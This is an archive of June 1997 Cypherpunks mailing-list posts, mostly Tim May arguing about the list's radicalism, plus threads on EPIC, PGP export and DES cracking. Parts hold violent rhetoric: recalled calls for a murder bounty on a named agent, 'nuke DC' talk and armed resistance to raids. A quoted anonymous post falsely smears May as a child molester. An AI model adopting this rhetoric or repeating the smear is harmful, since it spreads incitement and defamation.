and more to do with paranoia about what his employer will think.

--Tim

This is my article:

>Date: Mon, 2 Jun 1997 10:03:56 -0700
>To: xxxx
>Subject: Re: May's Banal Rant
>Cc: xxxx

(He commented that I am marginalizing myself and my compatriots by my angry
views. I replied:)


>The list was just as "intense" in 1993, for example. Any reading of the
>traffic after the Waco incident in April of that year will show this
>clearly. And 1994 was also intense, what with the heated discussion of
>anonymous assassination contracts, use of crypto by some associates in
>White Aryan Resistance and other politically incorrect groups, and so on.
>
>(There was even Froomkin-described "cannibalism" that year, as the list
>_exploded_ in condemnation of Jerry Berman's EFF-led sellout on the
>Wiretap Bill (aka Digital Telephony, aka CALEA, etc.). In fact, this
>"cannibalism" was practiced by nearly everyone outside the specific axis
>which made the Grand Compromise. It is widely believed that this event led
>to the flight from D.C. of EFF and its current marginal status as a mover
>and shaker. (Other reasons, too, I've heard from those who were present.
>I'm not claiming to be "ahead of the curve," to use Marc's
>characterization, on this one. He was there, I was not. But clearly the
>support of DT/CALEA had a major, traumatizing effect on EFF. )
>

(He predicts that "moderate" list members will leave the list because of my
articles. He says he stopped posting months ago because he saw the general
trend getting worse. )



>I hadn't seen essays from you in a long time, xxxxx, nor from yyyyy. It
>seems that a lot of folks have "been there, done that" on writing essays,
>regardless of their ideological points of view. Even Detweiler writes very
>few essays.
>
>Many of the former active contributors are now with crypto companies or
>Internet companies in one form or another. Hal Finney is with PGP, a bunch
>of folks (Barnes, Parekh, Green, Sandfort...) are with C2, some were with
>xxxxxx (as you know), and so on. A bunch of others are doing security or
>crypto work at the various companies, including Netscape, Intuit,
>Microsoft, Excite, Qualcomm, etc.
>
>(There are also reasons for them to "tone down" their rhetoric. Some of
>them have sent me e-mail saying they agree with my points (or disagree, as
>the case may be) but do not feel comfortable posting publically, given
>their present employment with these companies. This is a natural
>development. Go back and read the rhetoric in 1992-5 about controversial
>issues....many of the essayists of even the most controversial pieces then
>are now at companies and are understandably less vocal. So?)
>
>Plus there have been the usual spin-off lists. Lewis McCarthy decided, I
>presume, that he had internalized the political message of Cypherpunks and
>wanted only a C and C++ forum, so he created "coderpunks." Perry Metzger,
>certainly no stranger to libertarian ranting, decided apparently that he
>wanted to control which rants got distributed so he created "cryptography."
>
>This is also natural. If you don't like who is left on Cypherpunks, and
>who is posting, then either leave it or post the kind of stuff you'd like
>to see.
>
>Those who never post anymore are in a poor position to criticize others
>for what they post.

(He claims I have marginalized myself and says he expects either no reply
from me or a venomous one.)


>Well, this is a response. I don't think it's venomous. It's what I think.
>
>It's true that there are relatively few "primer" essays on Cypherpunks
>these days; the time for that was in the early years, especially the first
>year. Many of those essay writers who wrote long articles on public key
>systems, signatures, etc., are now in the companies mentioned above. Plus,
>having already done it there is little incentive to do it again.
>
>So? This is the natural evolution of any community.
>
>I'll stop now.
>
>All I can say is that if you find the Cypherpunks list no longer to your
>liking, the choice is obvious. Or, if you want to stay but want the
>discussions moved in other directions, write articles in these directions.
>You can hardly complain if you're silent.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:38:44 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102807afb8d61f070a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



This is the second in the series of articles I am forwarding from the
"sublist" discussion I mentioned. Again, I am excising all pointers to the
identity of the person who wished his views not be publicized.

This is the longest of the articles.

--Tim


>Date: Mon, 2 Jun 1997 12:07:48 -0700
>To: xxxxx
>From: Tim May <tcmay@got.net>
>Subject: Re: May's Banal Rant
>Cc: xxxxxx

>At 11:00 AM -0700 6/2/97, xxxxx wrote:

(Thanks me for not being venomous, as he had been expecting, and says he
was not on the Cypherpunks list in 1993 so he doesn't recall what it was
like back then.)

>I can tell you that much of the discussion back then was about the precise
>things I have  had in my .sig all these years (the core part).  And this
>was during the incidents at Ruby Ridge and Waco.
>
>Is calling for a bounty in untraceable cash to be placed on the head of
>the shooter at Ruby Ridge, one Lon Horiuchi, radical enough for you? (The
>BATFags consider such threats seriously enough that Horiuchi apparently
>now has a new identity, accoding to my militia friends, who say no
>"Horiuchi" can be found in any current records they have searched...and
>one of their sources in the Empire confirmed this.)

(Says the tone of the list and of Libertarian politics is more strident
than it has ever been.)

>Actually, I was around during the anti-Viet Nam war days--I voted for John
>Hospers of the LP in 1972, and participated in various anti-war events at
>UC Santa Barbara, including a notable evening when Highway 101 was shut
>down for several hours by protestors. The level of rancor between
>government and others (including Libertarians) was vastly greater.
>
>And in 1993 the Clipper announcement was met with incredible venom on the
>list. You really need to go back and read what was said about Denning,
>Freeh, Kallstrom, and Herr Clinton. We even had a couple of emergency
>physical meetings, and the level of sabotage discussed was far greater
>than anything recently.
>
>Also, those "radical days" saw some very radical stuff indeed. The
>anonymous posting of the corporate secrets of the traitorous company
>Mykotronx helped to nuke that company. Ditto for the Clipper internal
>memoranda posted to the list via remailers.
>
>(Nowadays we'd have a list member working for Mykotronx and urging us to
>be "more reasonable.")
>
>Also, 1993-4 was the heyday of the Zimmermann imbroglio, and there was
>much heated discussion of this.
>
>(Nowadays, Zimmermann wants Cypherpunks to rally behind his company's GAK
>system, and he is aghast at the "anarchy" discussed on the list. He was
>opposed to the libertarian ideology of the list back in '93-94 of course,
>but then it suited him to have the Cypherpunks defending him. Now he views
>us as impediments to his business prospects, and employees of PGP, Inc.
>are now _very_ circumspect about what they write on the list.)
>
>I agree that there is a sense of "enough is enough" in the Cypherpunk
>community these days. Everytime we turn around there are new restrictions,
>new calls for censorship, new clamorings for controlling the Net, and even
>new arrests.
>
>I disagree that the posts of today are significantly more strident than
>they were in the Clipper days, or the Waco days, etc. Maybe a few comments
>have sounded especially angry, but these are angry times. Again, if you
>don't like the threads, start some of your own.
>
>I believe I'm under a fair risk of being named as a co-conspirator of
>Bell's...some of my e-mail to him is probably what the cops are referring
>to when they speak about using cryptography to facillitate markets in
>various acts. Yes, this has made me prepare for a raid on my home, and,
>yes, I have bought a couple of cases of ammunition and made sure my stuff
>is ready. I don't intend to be shot in the middle of the night in the dark
>as i reach for a handgun to defend myself when the "entry team" ignores
>the Fourth Amendment and simply bursts into my room.
>
>(Lost in the modern debate about rights is how we got to this stage, to
>where it is _expected_ that cops will dress in paramilitary garb (Nomex
>ski masks, black clothing, carrying suppressed MP-5s) and launch raids on
>the homes of suspects. No knocks on the doors, no presentation of
>duly-authorized search warrants, no punishment for those who kill
>innocents or others on such searches.... what a fucked up country we have
>become.)

(He says that many influential posters to Cypherpunks no longer post.)


>I still post. That so many others don't is not my problem. (Hint: Analyze
>the archives to see who used to post a lot. Many of them--in fact,
>essentially _all_ of them--decreased their posting volumes long before the
>comments of mine in the last few months that you seeem to think drove them
>away. Look at the actual numbers.)
>
>For various and sundry reasons. I won't catalog them again here, even
>though I've thought of some additional important reasons I left out
>earlier. Maybe I'll write a new essay on how the list has changed and how
>the membership taxonomy works out.

(He says that I am more provocatively violent-sounding in my posts the past
few months than before.)


>In a few instances, yes. So? People have various views at various times.
>And I'd say calling for an anonymous murder contract on Horiuchi was
>pretty violent-sounding. (Such calls were not made by me, though I've
>recently said the killers of Donald Scott, the Malibu doctor raided by
>BATF/LA officers should be given a fair trial and if found guilty,
>executed. What's "violent" about expecting the same justice for cops that
>we see being applied to McVeigh, Kaczinski, and so on?)

(He claims that atttention from the media and from law enforcment in the
Cyphepunks list is probably greater now than in the past. Note from my
comments below that I disagree with him.)

>This is part of the "taxonomy of membership" I'm talking about. We get all
>kinds of subscribers. Some just hit-and-run, some clueless, some seeking
>support for their pet programs or products, some loonies. (If you think
>TruthMonger or that Circle of Eunuchs guy is any crazier than Detweiler
>was in '93-94, go back and read his stuff.)
>
>And in fact the media fascination with Cypherpunks was provably greater in
>'92-94 than today. Think of those big cover stories in Wired, Whole Earth
>Review, The Village Voice, etc.  This is so for various reasons, and I
>won't bemoan or applaud our current relative obscurity.

(He claims that for these various reasons my voice is probably more
dominant or influential than ever before--given the low volumes of posts, I
might agree--and says it is too bad I am so strident.)


>I am not writing that much differently than I did in earlier years, if you
>check the archives. I have made very few "shoot the pigs" comments.
>
>(And, by the way, the period surrounding Waco and Ruby Ridge was filled
>with discussions of armaments, calibers, etc. Some of the Bay Area CPs
>even started a shooting club....I have not gone to any of their shoots, as
>I live 100 miles south of San Francisco....plus, I have my own favorite
>ranges nearby and I'm not much on teaching newbies to shoot.)
>
>It is true that Eric Hughes is off doing other things. John Gilmore was
>never much a writer of essays, and he's now distanced himself from the
>list (for obvious reasons). Hal Finney still writes, but the reasons he
>writes less are obvious (job, and he's said things several times). And so
>on.
>
>Others have left the list. Peter Wayner is gone. Carl Ellison is gone. So?
>No one expected a perpetual level of interest. When I talk to Eric
>(Hughes), we both shake our heads in amazement that a group we started
>five years ago is still rolling along; we never set out to create a
>permanent group.
>
>And, unlike some groups which are almost explicity centered around a
>public spokesman or small cadre, the Cypherpunks group has never had a
>spokesman, never had a public charter, never had a policy analysis group,
>never had most of the things the alphabet soupers have had.
>
>We're just a virtual coffeehouse, or pub, or even Munich beerhall. Anyone
>is free to comment on anything. The only attempt at censoship--the recent
>one by Sandfort and Gilmore--failed miserably (and predictably) and in
>fact scattered the nexus of the group to multiple sites. (The role of that
>event, and the subsequent shrinkage of the list from 1200 subscribers to
>just about 200 subscribers, as best I can tell, is the subject of another
>essay. In my view, the attempted censorship of the list did grievous
>damage to the list, and inasmuch as we don't "recruit" for new members, it
>may be a long time before the list ever gets as active as it used to be,
>if ever. The low posting volume tends to magnify the significance of the
>posts which do appear...this is not something I see as my problem or my
>responsibility to try to change.)

>And it's a pity this entire discussion is not happening on the main list!
>
>You, xxxxx, choose to...<excised to protect his identity>... and to keep
>your comments off the list. I know ...<excised>.... but you really should
>be making your comments about the list and its topics ON THE LIST!
>
>Isn't this obvious? You can hardly complain about my "radical" views when
>you hold your counsel, can you?
>
>In fact, I'll respect your wish not to have your comments distributed
>beyond the list you have chosen, but I plan to take my own comments, sans
>your quotes, and use them as the basis of an essay to the list on these
>and related topics.
>
>In this regard, I thank you for catalyzing some thoughts.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:45:32 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102808afb8d91fbb72@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



And this is the third, and hopefully final for now, article forwarded from
that sublist discussion this morning. As before, the comments of the other
person are paraphrased.

--Tim


>Date: Mon, 2 Jun 1997 12:30:57 -0700
>To: xxxxx
>From: Tim May <tcmay@got.net>
>Subject: Re: May's Banal Rant
>Cc: xxxxx

(Expresses the view that I am smarter than Bell--damning with faint
praise?--and probably will not be arrested for the sorts of activities Bell
is alleged to have engaged in.)

>
>It depends on whether Bell is hit with "conspiracy" charges. It the
>charges are limited to (alleged) Social Security Number fraud, related tax
>charges, and (alleged) stink bomb charges, then I don't expect any visit
>from the Federales. But, one might ask, why is Bell being held without
>bail and why does the affidavit (or whatever) refer to the various other
>conspiracies he is said to have been involved in?
>
>As for my "nuke DC" rhetoric, this is classic protected speech. In fact,
>most of my comments about "50 megatons of nuclear disinfectant" and
>suchlike are recognizable to anyone with any acumen as being classic "hang
>the bastards" sentiment.
>
>(I've written more serious comments about "soft targets," expressing the
>quite accurate point of view that in these perilous times, with nerve
>gases being released in Tokyo subways, with truck bombs used or
>almost-used, with train derailments in the West, etc., that the best
>protection is to avoid living in soft targets, the "Schelling points" any
>terrorist or antigovernment group would be more likely to target. In
>classsic "kill the messenger" tradition, these comments are taken by some
>to mean I advocate bombings of these soft targets.)

(Speaks of what he views as the "discrediting" of Cypherpunks amonst
businessmen, the media, crypto programmers, politiicians, lobbyists, and
the general Net community.)


>"Businessmen" have never liked the crypto anarchist message we have
>traditionally discussed. Not since Day One.  Some have tried to _use_ us,
>to enlist our support, but none have liked our message.
>
>The "discrediting" of the Cypherpunks, now that the media knows we exist,
>is unavoidable. The NRA has similarly been "discredited." (And even
>factions within the NRA, notably the faction led by Charlton Heston, is
>denouncing factions which argue for a strong interpretation of the Second
>Amendment as "crazies." This is always the way it goes.)
>


(He thinks this "discrediting" will affect important projects and "good work.")

>As I've said in my past messages, you should write the essays you want to
>see and start the threads you want to read.
>
>--Tim May
>

My final comment. I am tempted to write up a long article analyzing how the
Cypherpunks list has changed over the past 5 years, and who has been on it
and off it. Maybe later.

Suffice it to say for now that many people have been on the list, and then
dropped off. For lots of reasons. And their reasons are not something I
feel I need to worry about. They'll do what they want to do. Some graduated
from school, some got crypto jobs, some decided they'd had enough, some
agreed with the basic views but were ready to move on, some despised our
basic outlook, some were told by their employers their subversive
activities were a career impediment, some disliked the yahoos and lunatics,
some wanted censorship and left when they didn't get it, some never
bothered to resubscribe after being dropped for one reason or another, and
so on.

Life goes on. I don't worry that we "lost" Peter Wayner, or that we "lost"
David Sternlight, and so on. Life goes on.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 3 Jun 1997 05:08:35 +0800
To: Steve <privsoft@ix.netcom.com>
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <v04000210afb8df72e4cf@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713704.multipart/signed"

--Boundary..3963.1071713704.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 12:07 AM -0400 5/29/97, Steve wrote:
>Does this mean PGP now, or soon will, supports GAK/Key Recovery?
>Or is their something the article isn't saying?

The grant PGP, Inc obtained from Commerce permits them to be the "exporter
of record" to foreign offices of the companies listed on their application.
The companies are the Fortune 100.

As far as I know, this license has no requirement that PGP provide GAK.

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------



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Content-Description: "PGP signature"

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--Boundary..3963.1071713704.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 3 Jun 1997 02:38:23 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v03020900afb8b3e72ca1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:52 am -0400 on 6/2/97, Lee Tien wrote:

> >First, he led EFF to ignominious defeat with the digital telephony bill,
> >and now, like some kind of political gremlin, emerging unscathed after
> >engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
> >slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
> >pelleton.
>
> Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.
>
> Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
> involved in its actions re Digital Telephony, and then left to start up
> CDT.


Woops. Damn. And I was having so much fun with that plasma cannon, too. :-).

In my own defense, I have to say that it's easy to get all those
net.piglets confused, with them all piled up on top of each other at the
Washington sowbelly like that...

Nonetheless, even if I, um, revise and extend, the offending acronymous 30
words or so, it doesn't change what I said at all in the rest of my little
outburst of vitriol.

It certainly doesn't change my opinion about Mr. Rotenberg, or Mr. Berman,
or anyone else "fighting" for my "rights" at a rubber-chicken banquet, or
at a cocktail party, or on golf junket somewhere...


Dr. Froomkin, who I admire and respect very much, may call remarks like
those cannibalism (nice Carib indian word, cannibal), but for myself, I
prefer to think of it as Texas barbeque. :-).

Here, Micheal, have some of those baby back ribs over there. I just made
them myself. Just a touch of habanero in the sauce (and Pearl beer, of
course) makes all the difference in the world.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 22:05:56 +0800
To: froomkin@law.miami.edu
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970602140127.228A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I don't understand this.  Of all the alphabet soup privacy groups out
> there, EPIC is the one I consider most pro-privacy and anonymity other
> than the ACLU itself.  And EPIC knows the tech better, on the whole
> (although the ACLU is quite clued-up too).  It is true that EPIC is not
> absolutist on SAFE -- and I'm not quite sure that they are right to give
> even the inch they gave to get a mile -- but they're awfully good.

I agree EPIC has been one of the better groups, but I personally feel 
none of them can ever do any good: They all sell out in the name of 
compromise.

Also, they seem to have people within them that simply do not understand 
what they are talking about, for example, Marc yesterday commented that 
he would support a law to ban private companies asking for SSNs for 
anything other than tax purposes, this is a clear misunderstanding of the 
nature of private companies and private property.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 05:26:46 +0800
To: Marc Rotenberg <bryce@digicash.com
Subject: Re: May's Banal Rant
In-Reply-To: <v03102803afb8bf72b35a@[207.167.93.63]>
Message-ID: <v03102801afb8e68d5291@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0700 6/2/97, Marc Rotenberg wrote:
>I just came back from the 7th annual crypto
>conference that we've  organized in DC. Among
>the people who spoke were Carl Ellison, Eric
>Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
>Bruce Schneier. (Michael Froomkin was invited, but
>he's been out of the country. And Whit couldn't
>make it cause he's finishing his book.)
>
>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.
>

I've tried to ignore your "appeals to authority" criticisms of the points I
and other have made. But this is just stooping too low.

Because we were not speakers at your conference, we're "armchair activists."

Incredible.

I'll have no more to say to you, now or at any foreseeable time in the future.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 3 Jun 1997 16:00:56 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb7f6a1b377@[207.172.46.254]>
Message-ID: <Pine.LNX.3.91.970602140412.228B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >so often suggested, analogous to "use of a gun" in a crime, nor to "use of
> >the public mails." It is much closer to the examples I cite, language and
> >religion, than to use of a publicly-regulated monopoly like the telephones
> >or the mail. The gun situation is presumably related to the threat of
> >bodily harm...I'm not saying I agree with "use a gun, go to prison"
> >sentencing enhancements, but a stronger case can be made than for "use a
> >cipher, go to prison.
> 
> I don't need the lecture. I've made the argument better than
> you have and I've made it longer than you have. 

Here we go, you have now given up on even attempting rational argument 
(not that you ever managed to achieve it in the first place) and turned 
to throwing insults and derogatory statements.

I think more than anything else your comment yesterday about SSNs and 
private retailers indicates your need for lectures.

> I don't recall
> you protesting the Computer Fraud and Abuse Act (1984),
> working on the RTM case (a CFAA prosecution in 1988). You
> weren't involved in the FOIA case for 2600.

Don`t parade your experience of contesting cases within the system to me, 
I`m not remotely impressed. You, along with EPIC, along with all the 
other alphabet groups, have sold out to compromise, not because you 
intended to, but because that is the natural state to which such lobbying 
groups "evolve" when working with people who do not understand the nature 
of individual rights. Playing the game with the jackbooted motherfuckers 
and their masters in DC is the worst possible way to go about protecting 
our rights.

> >a. denouncing any "return address" requirements and refusing to cooperate
> >with any Congressthing who espouses such wrong-headed ideas
> 
> Great plan. I'll watch TV and let Congress pass a bill
> requiring mandatory identification for Internet users.
> Really clever.

This really isn`t the point, if you compromise, as you probably will, and 
we end up with a SAFE like "crypto in commision of a crime" provision we 
have gone up one step and down two. There can be no dealing with 
Washington nor any of the other cancers that have taken over the USA, 
removal is the only solution. 

> I'm probably in a much better position to criticize the failure
> of Tim May et al to stand up for crypto freedom than the other
> way around.

I don`t think so somehow, the cypherpunks, of whom Tim May was one of the 
founding memebers, have had effects in the past, not normally in 
legislative circles but in terms of getting the technology out there and 
available. The only solution is technical bypassing of the law, this 
along with other cypherpunkish ideas such as fully anonymous digital cash, 
chaumian mixes, uncensorable information sources, pseudonymity, DC-Nets 
etc.. will result in citizens being able to bypass state restrictions and 
disobey laws, in time it may even result in the downfall of the state. 

> >Being a rejectionist, I don't see the point of dealing with Congress. The
> >usual view is that "If you don't get involved, things will be even worse."
> >I'm not convinced of this. It's often better to not lend them any support,
> >not lend them any technical expertise, and devote all energies to
> >undermining and challenging their actions later.
> 
> And the existence proof of this proposition is . . .

You simply cannot reason with criminal poloticians, circumventing their 
restrictions and undermining the state is the way to go.

> >And helping them draft legislation only feeds the process.
> >
> >I think it was George Carlin who said, "If you think you're part of the
> >solution, you're part of the problem."
> 
> Good high school humor for a good high school philosophy.

Keep trying.

> I am underwhelmed.

I am unsuprised.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 3 Jun 1997 04:57:37 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <199706021745.TAA08670@basement.replay.com>
Message-ID: <Pine.A41.3.95.970602144057.48724A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. May sexually molests little children, farm animals, and 
> inanimate objects.
> 
>              ,,,
>             ($ $)
>         -ooO-(_)-Ooo- Timmy C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 3 Jun 1997 04:45:08 +0800
To: Eric Murray <shamrock@netcom.com
Subject: Net Driver's License
In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970602151255.035e6b5c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If an 'Internet drivers license' bill passed next week, it'd take at
>least a year to get it repealed (probably much longer).  During
>that time, if the government wished to do so, it could stage any
>number of provocative acts, blame them on 'Internet Terrorists', then
>get James Kallstron on tv to announce that the 'Terrorists' have been
>caught via their Internet Drivers Licenses.  

We've had telephones for more than 100 years with no "telephone driver's 
license".  We've had letter mail for several hundred years with no "mail 
driver's license."  We've had television for more than 60 years with no 
"television driver's license" (except in your commie countries like the UK.

There is little chance that such a law would pass and no chance that it would 
be effective if it did.

The Feds can't even effectively prevent the anonymous holding of driver's 
licenses, cars, bank accounts, credit cards, and cellular telephone accounts 
in America.  And all of those are much easier to mandate than an Internet 
Driver's License.  

For one thing, an Internet Drivers License would require the drafting, 
writing, and running of encrypted authentication protocols (to deny service
to 
non license holders) but those who control the Nets (us) couple piggyback on 
those same protocols to dodge licensure.

Think about it.  An Internet Driver's License could only license a connection 
not communication itself (1st Amendment) and a single Net connection can 
connect to a network that is big on the other side as the rest of the Net 
itself.  Cheating is way too easy.

DCF  
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G47pefLJSI0=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 06:36:01 +0800
To: Bryce <bryce@digicash.com>
Subject: Re: any off-line client for DES crack?
In-Reply-To: <199706021817.UAA13019@digicash.com>
Message-ID: <Pine.3.89.9706021511.A22051-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


Are the computers completely off the net or are they behind a firewall or 
dial-up connection? If the boxes can talk to a networked UNIX box 
that is behind the same side of the firewall or have a dial-up connection, 
DESCHALL offers helper software for you.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 2 Jun 1997, Bryce wrote:

> 
> I'd like to train a couple of off-the-net computers to crack 
> DES.  Unfortunately there appears to be no off-line client 
> which uses files, so I can sneakernet a big batch of "try this
> keyspace" requests, leave it running for a few weeks, and then
> sneakernet the results back.
> 
> 
> Yeah, I could hack it myself, but I thought I'd recommend the 
> idea to the people who are actually coordinating the searches.
> 
> 
> (Of course the user should be able to tell if the client has 
> scored the key.  Some users may well decide not to bother 
> sneakernetting "not found" results back to the Net, but will 
> check to see if their client won.)
> 
> 
> (In case you are worried, I am good net.citizen who trims 
> Newsgroups: lines, is careful not to take the name of Kibo in 
> vain, and who never trolls for newbies by posting "follow-up to 
> this article to get free nude picture of Sandra Bullock!".  So
> _I_, therefore, would faithfully sneakernet my "key not found"
> results back to the Net.)
> 
> 
> Regards,
> 
> Zooko Journeyman
> 
> Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
> or any other person or organization.  No PGP sig follows.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Harvey McVeigh <tm@dev.null>
Date: Tue, 3 Jun 1997 05:57:15 +0800
To: cypherpunks@toad.com
Subject: We have our exits, and our entrances...
Message-ID: <199706022133.PAA08283@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


  ...and one man, in his time, plays many parts.

To all my fans,
  I would like to thank you all for your support of our off-Broadway
production, even though it looks like we will be closing the show after
a short, eight-week run.
  Please don't shed any tears over the quick closing of the show, as the
production was put in the hands of the government from the very start 
with this end in mind.

  I would like to address the criticism of the actors who played my
defense team in the show by pointing out that their role was essentially
that of bit-players in the production, not that of supporting actors as
is usually the case in a production of this magnitude. This misunder-
standing has led to their being criticized for their low-key presence
when that is actually the role they were hired to play.

  There are also those who have heavily critqued the story-line of the
production as being unrealistic and I will address that issue.
  The actual event which caused the OKC tragedy was so bizarre that the
scriptwriters considered it too unbelievable to be dealt with in the 
final script.
  What happened was that a low-level government worker was doing an
inventory and accidentally opened the box containing the magic bullet
that killed JFK and wounded Gov. Connally. The bullet got loose and
destroyed the OKC Federal Building.
  The script writers determined that a much more believable story was
that I single-handedly performed the bombing on a day when all of the
BATF agents just happened to be out of the building. (It's true. They
were all in a bar down the street, working on the trial script.)

  I hope that you will all support me in my next role, in which I will
actually play the leading role, this time, and which we tentatively
plan to name, "Ernest Discovers Electricity."

Lee Harvey McVeigh
(.sig line left in by mistake)
-- 
Toto
